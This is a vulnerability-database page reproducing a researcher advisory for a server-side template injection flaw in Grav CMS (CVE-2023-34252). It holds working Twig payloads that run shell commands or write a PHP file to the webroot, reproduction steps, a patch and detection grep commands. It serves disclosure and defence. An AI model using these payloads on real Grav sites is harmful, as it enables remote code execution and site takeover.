Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-96xv-rmwj-6p9w getgrav/grav

HIGHFix: getgrav/grav@244758d

GHSA-96xv-rmwj-6p9w is a high-severity (CVSS 7.2) CWE-184 vulnerability in getgrav/grav. 1 public exploit reference exists, so weaponization risk is real. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav Server-side Template Injection (SSTI) via Twig Default Filters

Also known asCVE-2023-34252
Published
Jun 16, 2023
Updated
Feb 16, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-96xv-rmwj-6p9w.

EPSS Exploitation Probability

via FIRST.org ↗
2.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs80th percentile — riskier than 80% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-96xv-rmwj-6p9w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Hi,

actually we have sent the bug report to [email protected] on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter

Summary:

ProductGrav CMS
VendorGrav
SeverityHigh - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions<= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versionsv1.7.40
Internal IdentifierSTAR-2023-0007
CVE IdentifierTBD
CWE(s)CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

MetricValue
Attack Vector (AV)Network
Attack Complexity (AC)Low
Privileges Required (PR)High
User Interaction (UI)None
Scope (S)Unchanged
Confidentiality (C)High
Integrity (I)High
Availability (A)High

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

Vulnerability Summary:

There is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

Vulnerability Details:

The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php:

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...
    
    /**
     * Return a list of all filters.
     *
     * @return array
     */
    public function getFilters(): array
    {
        return [
            ...
            
            // Security fix
            new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
        ];
    }

    ...

    /**
     * @param Environment $env
     * @param array $array
     * @param callable|string $arrow
     * @return array|CallbackFilterIterator
     * @throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
        if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow); // [2]
    }
}

At [1], the $arrow parameter contains the argument supplied to the filter. For example, it may refer to "funcname" in {{ array|filter("funcname") }} or the closure (a.k.a. arrow function) el => el != 'exclude' in {{ array|filter(el => el != 'exclude') }}. Observe that Utils::isDangerousFunction($arrow) is only invoked if $arrow is a string. As such, non-string arguments may be passed to twig_array_filter() at [2] due to the absence of type enforcement at [1].

The implementation of the twig_array_filter() function can be found in /src/Extension/CoreExtension.php within Twig's codebase:

function twig_array_filter(Environment $env, $array, $arrow)
{
    if (!twig_test_iterable($array)) {
        throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
    }

    if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) { // [3]
        throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
    }

    if (\is_array($array)) {
        if (\PHP_VERSION_ID >= 50600) {
            return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [4]
        }

        return array_filter($array, $arrow);
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

At [3], a runtime error is thrown if $arrow is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when $arrow is not a closure. Subsequently at [4], array_filter() is invoked with the user-controlled $array input and $arrow parameter.

Note that the method signature of array_filter() is as follows:

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

A common mistake that developers make is assuming that the callable type refers to a string type. This is untrue, and it is well documented in the PHP Manual:

A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by either, passing the class name instead of an object at index 0, or passing ClassName::methodName.

This means that all of the following method calls are valid:

// Type 1: Simple callback -- invokes system("id")
array_filter(array("id"), "system");

// Type 2: Static class method call -- invokes Class::staticMethod($arg)
array_filter(array($arg), array("Class", "staticMethod"));
array_filter(array($arg), array("Class::staticMethod")); // same as above

// Type 3: Object method call -- invokes $obj->method($arg)
array_filter(array($arg), array($obj, "method"));

Going back to [1], if $arrow is an array instead of a string or closure, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:

// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}

// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler'])}}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) }}

// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:
{{ (['rce.php'] | map(['\\RocketTheme\\Toolbox\\File\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}

// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"):
{{ {'/':'sleep 3'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

  1. an administrator account, or
  2. a non-administrator, user account that are granted the following permissions:
    • login access to Grav admin panel, and
    • page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor:
    // Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
    {% set id = {'id': 0} %}
    {{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
    
  7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

Patch the logic flaw in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php to ensure that the $arrow paramater passed to the filterFilter() function must either be a string or an arrow function as such:

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...

    /**
     * @param Environment $env
     * @param array $array
     * @param callable|string $arrow
     * @return array|CallbackFilterIterator
     * @throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
-       if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow);
    }
}

Utils::isDangerousFunction() in /system/src/Grav/Common/Utils.php should also be patched to prevent static class methods from being invoked. For example,

...
abstract class Utils
{
    ...
    /**
     * @param string $name
     * @return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        ...

+       if (is_array($name) || strpos($name, ":") !== false) {
+           return false;
+       }

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }
    ...
}

End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

  1. Searching within Markdown pages using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/
  2. Searching within Doctrine cache data using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
  3. Searching within Twig cache using the following shell command:
    grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/
  4. Searching within compiled Twig template files using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:

  1. CVE-2023-30595 Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in GravExtension.filterFilter() and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions1.7.42composer require getgrav/grav:^1.7.42
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 1.7.42 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-96xv-rmwj-6p9w is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-96xv-rmwj-6p9w can be triaged on real exposure rather than presence alone.

Tailored to GHSA-96xv-rmwj-6p9w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Hi, actually we have sent the bug report to [[email protected]](mailto:[email protected]) on 27th March 2023 and on 10th April 2023. # Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter ## Summary: | **Product** | Grav CMS | | ----------------------- | --------------------------------------------- | | **Vendor** | Grav | | **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to
O3 Security · Impact-Aware SCA

Is GHSA-96xv-rmwj-6p9w in your dependencies?

O3 Security finds GHSA-96xv-rmwj-6p9w across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-96xv-rmwj-6p9w: RCE (High 7.2) | O3 Security